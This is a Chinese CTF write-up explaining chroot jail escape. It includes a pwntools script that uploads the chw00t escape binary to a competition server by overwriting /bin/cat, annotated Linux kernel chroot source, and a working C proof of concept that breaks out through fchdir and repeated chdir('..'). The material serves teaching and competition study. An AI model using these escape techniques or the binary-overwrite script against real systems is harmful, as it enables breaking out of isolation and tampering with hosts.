chroot jailbreak

0x00 前言

最近网鼎杯青龙组做到了一道chroot逃逸的题目,正好整理一下它逃逸的原理。

0x01 逃逸利用

通常来说,chroot一般有两个含义,chroot(1)是/usr/bin/chroot, chroot(2)是glibc中的一个函数。

chroot(1)
chroot - run command or interactive shell with special root directory
chroot [OPTION] NEWROOT [COMMAND [ARG]…]

chroot(2)
chroot - change root directory
int chroot(const char *path);

chroot主要的功能是改变根目录,之前是在ctf出题时会将/home/ctf目录chroot成为根目录,实现与我们docker的文件系统隔离,提供一个安全的靶场环境。在模拟运行固件的时候,也经常会将当前文件系统的目录chroot为根目录,这样才能找到固件所需库的路径。

但chroot是一个不安全的feature,容易被逃逸出来,这里有一个逃逸用的[工具](earthquake/chw00t: chw00t - Unices chroot breaking tool (github.com))

里面也包含了一些逃逸常用的方法

网鼎杯青龙组exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import * 
import os


context.log_level = 'debug'


payload = ''

with open('./chw00t', 'rb') as fd:
binary = fd.read()

for i in binary:
payload += '\\x' + hex(i)[2:].rjust(2, '0')

# os.system('echo -e "' + payload + '"' + '> ./exp')
# flag = False

first_command = 'echo -ne "{}" > /bin/cat'
after_command = 'echo -ne "{}" >> /bin/cat'

def write(payload, command):
sh = remote('123.57.26.28', 31379)

sh.sendlineafter('get the shell, and then?', command.format(payload))
# sleep(0.5)
sh.close()


size = len(payload)
for i in range(0, size, 0x1000):
data = payload[i:i+0x1000]
if i == 0:
write(data, first_command)
else:
write(data, after_command)

0x02 chroot实现

keys_chroot源码

via: https://elixir.bootlin.com/linux/v5.6/source/fs/open.c#L506

chroot运行在内核,会调用系统函数ksys_chroot函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int ksys_chroot(const char __user *filename)
{
struct path path;
int error;
unsigned int lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
retry:
// 根据文件名找到 path 结构
error = user_path_at(AT_FDCWD, filename, lookup_flags, &path);
if (error)
goto out;

// 解析 path 的 mm_root dentry 结构,再解析相应的 inode 结构,即 d_inode,就可找到挂载点相应的 inode 结构
error = inode_permission(path.dentry->d_inode, MAY_EXEC | MAY_CHDIR);
if (error)
goto dput_and_out;

error = -EPERM;
// 判断当前进程所有者是不是有执行 chroot 操作的权限
// 这里是 namespace, cred 的内容了,不展开
if (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))
goto dput_and_out;
error = security_path_chroot(&path);
if (error)
goto dput_and_out;

// 主要操作就是这个函数
set_fs_root(current->fs, &path);
error = 0;
dput_and_out:
path_put(&path);
if (retry_estale(error, lookup_flags)) {
lookup_flags |= LOOKUP_REVAL;
goto retry;
}
out:
return error;
}

set_fs_root

主要函数,就是在这个函数里修改了程序的 “根目录”

via: https://elixir.bootlin.com/linux/v5.6/source/fs/fs_struct.c#L15

先来看一下 fs_struct

1
2
3
4
5
6
7
8
9
10
struct fs_struct {
int users;
spinlock_t lock;
seqcount_t seq;
int umask;
int in_exec;
struct path root, pwd;
// root:根目录的目录项
// pwd:当前工作目录的目录项
} __randomize_layout;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
* Replace the fs->{rootmnt,root} with {mnt,dentry}. Put the old values.
* It can block.
*/
void set_fs_root(struct fs_struct *fs, const struct path *path)
{
struct path old_root;

path_get(path);
spin_lock(&fs->lock); // 自旋锁
write_seqcount_begin(&fs->seq);
old_root = fs->root; // 保存程序的 根目录 的目录项
fs->root = *path; // 设置 根目录 为 path 的目录项
write_seqcount_end(&fs->seq);
spin_unlock(&fs->lock);
if (old_root.dentry)
path_put(&old_root);
}

struct path

via: https://elixir.bootlin.com/linux/v5.6/source/include/linux/path.h#L8

1
2
3
4
struct path {
struct vfsmount *mnt;
struct dentry *dentry;
} __randomize_layout;

struct vfsmount

描述独立文件系统的挂载信息,每个不同的挂载点对应一个独立的 vfsmount 结构,属于同一文件系统的所有目录和文件隶属同一 vfsmountvfsmount 结构对应于该文件系统顶层目录,即挂载目录

via: https://elixir.bootlin.com/linux/v5.6/source/include/linux/mount.h#L68

1
2
3
4
5
struct vfsmount {
struct dentry *mnt_root; /* 上一层挂载点对应的 dentry */
struct super_block *mnt_sb; /* 指向超级块 */
int mnt_flags;
} __randomize_layout;

###

总结

其实 chroot 修改了进程的 root 目录的核心操作就是修改了 进程 的 task_struct -> fs -> root

通过文件名去解析 文件夹 对应的path 结构,存在patch 变量里面,然后权限检查,再然后把path 传进set_fs_root 函数

1
fs->root = *path;

修改了root,这样进程就认为 filename 是根目录,因为 fs->root 存的是 filename 目录的 path 结构

但我们可以发现,它只改变了root,但是没有改变cwd

chroot jailbreak 原理分析

根据上文源码可以发现,我们只改变了root,但是没有改变cwd

  • chroot()不改变工作目录。因此通常在调用chroot()之后会紧跟chdir("/"),把工作目录设定到新的root;否则仍可使用工作目录访问jail外的文件。只是之后访问jail外的文件不可以用绝对路径了,因为root目录还在jail里。
  • 可以使用jail外文件的文件描述符脱离jail,使用fchdir()即可改变工作目录到jail外。如果是特权进程的话(精确地,指拥有CAP_SYS_CHROOT权限),还可以在fchdir()后使用chroot(".")以把root目录设置到jail外。倘若多chdir("..")几次,可以回到原先的root目录。
  • Unix domain socket提供了进程间传递文件描述符的方法。限定在chroot jail内的进程可以从外部获取文件描述符,之后即可fchdir()使工作目录脱离jail。

下面是一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
int fd = open(".", O_RDONLY), i; // jail外的文件描述符,供之后脱离
mkdir("tempdir", 0755);
if (fd == -1) return 1;
if (chroot("tempdir") == -1) return 1; // chroot
if (fchdir(fd) == -1) return 1; // 脱离
for (i = 0; i < 1024; i++) // 回到原先的root目录。这里不能使用绝对路径`/`,只能逐步上移
chdir("..");
if (chroot(".") == -1) return 1; // 若是特权进程,则可进一步,把root设回去;不是的话也足以访问jail外的文件
system("ls");
return 0;
}

0x03 参考

清华校赛THUCTF2019 之 固若金汤 | Clang裁缝店 (xuanxuanblingbling.github.io)

linux中的容器与沙箱初探 — Atum

脱离chroot的枷锁 | MaskRay

-------------本文结束感谢您的阅读-------------
+ +